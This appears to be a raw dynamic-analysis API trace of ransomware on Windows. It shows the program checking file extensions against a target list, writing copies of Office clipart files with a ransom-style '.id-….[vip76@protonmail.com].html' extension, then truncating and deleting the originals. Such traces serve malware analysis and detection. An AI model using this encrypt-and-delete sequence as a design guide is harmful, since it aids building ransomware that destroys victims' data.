	[0201.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.605] lstrlenW (lpString=".dbf") returned 4
	[0201.605] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.605] lstrlenW (lpString=".1cd") returned 4
	[0201.605] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG") returned 68
	[0201.605] lstrlenW (lpString=".jpg") returned 4
	[0201.605] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.605] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.605] lstrlenW (lpString="J0150150.WMF") returned 12
	[0201.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.606] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=46404) returned 1
	[0201.606] CloseHandle (hObject=0x5e8) returned 1
	[0201.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 0x220
	[0201.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.607] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.607] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0201.608] GetLastError () returned 0x0
	[0201.609] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xb544, lpOverlapped=0x0) returned 1
	[0201.612] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xb550, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xb550, lpOverlapped=0x0) returned 1
	[0201.614] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.614] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.614] SetEndOfFile (hFile=0x36c) returned 1
	[0201.615] CloseHandle (hObject=0x36c) returned 1
	[0201.615] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.615] SetEndOfFile (hFile=0x5e8) returned 1
	[0201.620] CloseHandle (hObject=0x5e8) returned 1
	[0201.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf")) returned 1
	[0201.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.621] lstrlenW (lpString=".doc") returned 4
	[0201.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.621] lstrlenW (lpString=".docx") returned 5
	[0201.621] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0201.621] lstrlenW (lpString=".pdf") returned 4
	[0201.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.621] lstrlenW (lpString=".xls") returned 4
	[0201.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.621] lstrlenW (lpString=".xlsx") returned 5
	[0201.621] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0201.621] lstrlenW (lpString=".ppt") returned 4
	[0201.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.621] lstrlenW (lpString=".zip") returned 4
	[0201.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.621] lstrlenW (lpString=".rar") returned 4
	[0201.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.621] lstrlenW (lpString=".bz2") returned 4
	[0201.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString=".7z") returned 3
	[0201.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString=".dbf") returned 4
	[0201.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString=".1cd") returned 4
	[0201.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString=".jpg") returned 4
	[0201.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString=".doc") returned 4
	[0201.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString=".docx") returned 5
	[0201.622] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0201.622] lstrlenW (lpString=".pdf") returned 4
	[0201.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString=".xls") returned 4
	[0201.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.622] lstrlenW (lpString=".xlsx") returned 5
	[0201.622] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0201.622] lstrlenW (lpString=".ppt") returned 4
	[0201.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.622] lstrlenW (lpString=".zip") returned 4
	[0201.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.622] lstrlenW (lpString=".rar") returned 4
	[0201.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.623] lstrlenW (lpString=".bz2") returned 4
	[0201.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.623] lstrlenW (lpString=".7z") returned 3
	[0201.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.623] lstrlenW (lpString=".dbf") returned 4
	[0201.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.623] lstrlenW (lpString=".1cd") returned 4
	[0201.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF") returned 68
	[0201.623] lstrlenW (lpString=".jpg") returned 4
	[0201.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.623] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.623] lstrlenW (lpString="J0150861.WMF") returned 12
	[0201.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.624] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=8494) returned 1
	[0201.624] CloseHandle (hObject=0x5e8) returned 1
	[0201.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 0x220
	[0201.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0201.624] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.625] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0201.625] GetLastError () returned 0x0
	[0201.625] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x212e, lpOverlapped=0x0) returned 1
	[0202.043] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2130, lpOverlapped=0x0) returned 1
	[0202.044] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.044] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.044] SetEndOfFile (hFile=0x36c) returned 1
	[0202.044] CloseHandle (hObject=0x36c) returned 1
	[0202.044] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.045] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.048] CloseHandle (hObject=0x5e8) returned 1
	[0202.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf")) returned 1
	[0202.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.049] lstrlenW (lpString=".doc") returned 4
	[0202.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.049] lstrlenW (lpString=".docx") returned 5
	[0202.049] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.049] lstrlenW (lpString=".pdf") returned 4
	[0202.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.049] lstrlenW (lpString=".xls") returned 4
	[0202.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.049] lstrlenW (lpString=".xlsx") returned 5
	[0202.049] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.049] lstrlenW (lpString=".ppt") returned 4
	[0202.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.049] lstrlenW (lpString=".zip") returned 4
	[0202.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.050] lstrlenW (lpString=".rar") returned 4
	[0202.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString=".bz2") returned 4
	[0202.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString=".7z") returned 3
	[0202.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString=".dbf") returned 4
	[0202.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString=".1cd") returned 4
	[0202.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString=".jpg") returned 4
	[0202.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString=".doc") returned 4
	[0202.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString=".docx") returned 5
	[0202.050] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.050] lstrlenW (lpString=".pdf") returned 4
	[0202.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString=".xls") returned 4
	[0202.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.050] lstrlenW (lpString=".xlsx") returned 5
	[0202.050] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.050] lstrlenW (lpString=".ppt") returned 4
	[0202.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.050] lstrlenW (lpString=".zip") returned 4
	[0202.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.051] lstrlenW (lpString=".rar") returned 4
	[0202.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.051] lstrlenW (lpString=".bz2") returned 4
	[0202.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.051] lstrlenW (lpString=".7z") returned 3
	[0202.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.051] lstrlenW (lpString=".dbf") returned 4
	[0202.051] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.051] lstrlenW (lpString=".1cd") returned 4
	[0202.051] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF") returned 68
	[0202.051] lstrlenW (lpString=".jpg") returned 4
	[0202.051] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.051] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.051] lstrlenW (lpString="J0151581.WMF") returned 12
	[0202.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.052] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=10752) returned 1
	[0202.052] CloseHandle (hObject=0x5e8) returned 1
	[0202.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 0x220
	[0202.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0202.053] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.053] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0202.053] GetLastError () returned 0x0
	[0202.054] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x2a00, lpOverlapped=0x0) returned 1
	[0202.056] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x2a10, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x2a10, lpOverlapped=0x0) returned 1
	[0202.057] ReadFile (in: hFile=0x5e8, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.057] WriteFile (in: hFile=0x36c, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.057] SetEndOfFile (hFile=0x36c) returned 1
	[0202.057] CloseHandle (hObject=0x36c) returned 1
	[0202.057] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.057] SetEndOfFile (hFile=0x5e8) returned 1
	[0202.060] CloseHandle (hObject=0x5e8) returned 1
	[0202.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf")) returned 1
	[0202.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.061] lstrlenW (lpString=".doc") returned 4
	[0202.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.061] lstrlenW (lpString=".docx") returned 5
	[0202.061] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.061] lstrlenW (lpString=".pdf") returned 4
	[0202.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString=".xls") returned 4
	[0202.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.062] lstrlenW (lpString=".xlsx") returned 5
	[0202.062] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.062] lstrlenW (lpString=".ppt") returned 4
	[0202.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString=".zip") returned 4
	[0202.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.062] lstrlenW (lpString=".rar") returned 4
	[0202.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString=".bz2") returned 4
	[0202.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString=".7z") returned 3
	[0202.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString=".dbf") returned 4
	[0202.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString=".1cd") returned 4
	[0202.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString=".jpg") returned 4
	[0202.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.062] lstrlenW (lpString=".doc") returned 4
	[0202.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.062] lstrlenW (lpString=".docx") returned 5
	[0202.062] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.062] lstrlenW (lpString=".pdf") returned 4
	[0202.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString=".xls") returned 4
	[0202.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.063] lstrlenW (lpString=".xlsx") returned 5
	[0202.063] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.063] lstrlenW (lpString=".ppt") returned 4
	[0202.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
	[0202.063] lstrlenW (lpString=".zip") returned 4
	[0202.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.063] lstrlenW (lpString=".rar") returned 4
	[0202.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString=".bz2") returned 4
	[0202.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.063] lstrlenW (lpString=".7z") returned 3
	[0202.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF") returned 68
